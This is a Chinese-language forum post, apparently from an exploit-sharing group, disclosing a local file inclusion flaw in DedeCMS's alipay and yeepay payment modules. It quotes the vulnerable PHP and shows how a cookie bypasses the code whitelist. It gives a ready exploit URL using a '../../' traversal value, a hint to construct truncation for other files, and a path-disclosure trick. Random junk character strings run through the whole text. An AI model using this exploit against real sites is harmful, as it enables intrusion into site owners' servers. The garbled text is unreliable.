晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
/ ?% o$ W) e. {2 c) ^
+ n7 {" E/ m5 ]( a8 y% R出现漏洞的两个文件为:
" b: ]$ r* D( w, `; qInclude/payment/alipay.php
7 _5 }6 L( A+ o9 Y9 `Include/payment/yeepay.php& Q5 \" T( Z& \0 I5 F
漏洞均出现在respond方法里,估计这两个文件是临时工写的。( P/ \5 X9 n7 |: R
: S# Y2 |& |+ }: f% B
Include/payment/alipay.php
# m3 |: \% X, z
1 K) ~" k) a8 n7 F9 i5 N......( v2 h8 w3 h y: ~# s
function respond()
5 g5 q" L: _' B- b4 g. C" p: Y; p {- u/ u( w1 `0 @
if (!empty($_POST))
0 J" V' Y9 V2 R# u) J4 Z {
, V: w, s ^ ], b4 n5 o7 \5 D$ \ foreach($_POST as $key => $data)
+ C7 e& _/ E7 z! Y6 o7 Z {- F5 u2 F( o- u* c9 A+ _& P
$_GET[$key] = $data; l @ v9 t6 S0 E
}5 F/ a N" x K; t2 n
}7 B" Y* G6 i( c. I+ l
/* 引入配置文件 */
; t j% W3 S' U2 O M+ k, j" t require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';% X9 M5 d* \) P$ {
...... f+ l# j' |7 L
9 S E( h9 e8 q
* Q9 o4 Q% r! H" ] P大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。% e3 i$ Q; M M" C P: Q9 c
8 Y) t* @' l" |2 ^6 [; U5 a1 s
Include/payment/yeepay.php
% R! g+ E, ~' w' G4 y% y" z1 _# [1 b" c" r D! m
5 e! ?5 s7 k* p" e8 Z9 ]+ @
( o$ t7 c/ [: ^3 F......% k" ^/ X" M% u: Q1 c/ L9 H
function respond()
9 C' N# u" m+ {3 a8 e7 V% g# F {! f3 n. D4 B5 a' C% e4 L
. q0 y' F, G2 l0 {
/* 引入配置文件 */$ p7 R% E l! j* X% `! {
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
" s3 Z2 f1 U9 M6 j' B
! z7 ^* Q2 ]1 {' q- R $p1_MerId = trim($payment['yp_account']);- N5 G. [9 u( k9 q( R7 o
$merchantKey = trim($payment['yp_key']);8 G5 D! v/ O% I9 I
...... 4 L) o- p1 n$ B) D
0 Z5 o# p* y- w* e6 l& ]. W
0 B4 G* I5 T0 O2 m ! I! a2 R9 t( ?1 l& I/ E0 W
- k7 K# K) W7 \4 u9 K大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。4 q6 S i4 q2 D$ L, J
& g& W. t" C- J: U' ?/ b Z6 `这两个方法在plus/carbuyaction.php文件调用。
& K9 ?* @% C/ v
" z ~. y% e5 P8 R+ K; g+ t6 Tplus/carbuyaction.php
( y0 F% r, l; f0 x: Q4 ^
$ ^$ K+ `- S' G0 W/ U; `7 v' s c......% i8 e ]4 k5 w8 r9 G
} else if ($dopost == 'return') {, F' z% t+ @9 l5 q7 b( g
$write_list = array('alipay', 'bank', 'cod', 'yeepay');+ N. ]" z, E0 w9 T' I4 K
if (in_array($code, $write_list))
, _ t: Y1 Z a, ? {% ]& Z: K/ s V$ @
require_once DEDEINC.'/payment/'.$code.'.php';+ Z& Y3 ?( B1 w, w& N: ^/ R
$pay = new $code;% X$ |8 p3 [# {' U! K$ A
$msg=$pay->respond();
5 _: n. z ]! q+ X- d ShowMsg($msg, "javascript:;", 0, 3000);
* z B3 f m% j' \$ H7 \" f exit();
- u+ |9 r3 P0 m N; k# V7 L) | } else {- A4 d, B5 \$ r' H
exit('Error:File Type Can\'t Recognized!');: G/ g! e: ?. n7 I
}
- b/ x( ?9 b4 N2 [; T}
! j1 r& {9 Q3 b4 ~/ D4 H" ^...... : M4 m4 {4 }! C9 V
0 }, j0 w6 E# F/ l4 `8 e: Y$ ~: j0 J1 R* l0 y
3 I5 g' {6 @( o' g4 ` r ?; u( u
7 [7 M9 n* X3 i. G1 s 1 a) Y% e G# E/ i2 a# b' E) \9 R
, I. v% R% K9 X' ? [4 R大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。' w3 t* t9 `8 M7 g: o6 j, v
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
. Z/ l, X* b& i" ~0 [+ }4 w* R$ q' z( o; v3 G1 H* c% S6 G
回到include/common.inc.php来看看他的机制。: d* u: B9 r H1 f/ ^5 {9 j+ k
3 s6 F$ Y! e- J& V) T: t/ Z
; `; J( ^ ~7 \/ k: F0 l; K! l8 ^
. C d e/ Y/ H......
( ]+ _* Q% d0 T6 x4 T5 S3 dforeach(Array('_GET','_POST','_COOKIE') as $_request)
, f: N9 t) h7 O1 X/ C{
' e4 K7 r/ N! x6 u% u6 n$ J foreach($$_request as $_k => $_v) 3 w4 q% ]2 f; ]9 F: G: Y: @
{
" W0 o% A: J, i if($_k == 'nvarname') ${$_k} = $_v;8 [; C# z7 d7 a+ g; M
else ${$_k} = _RunMagicQuotes($_v);
/ Q( B4 ^: i$ k$ O: C: q e }1 }) n" @6 [" w# B
}
4 A+ o; U8 L$ Y) U) r" s......
; D1 t7 f2 ?% o4 H4 J1 u大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:9 C/ O' v/ D( Z5 P t
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |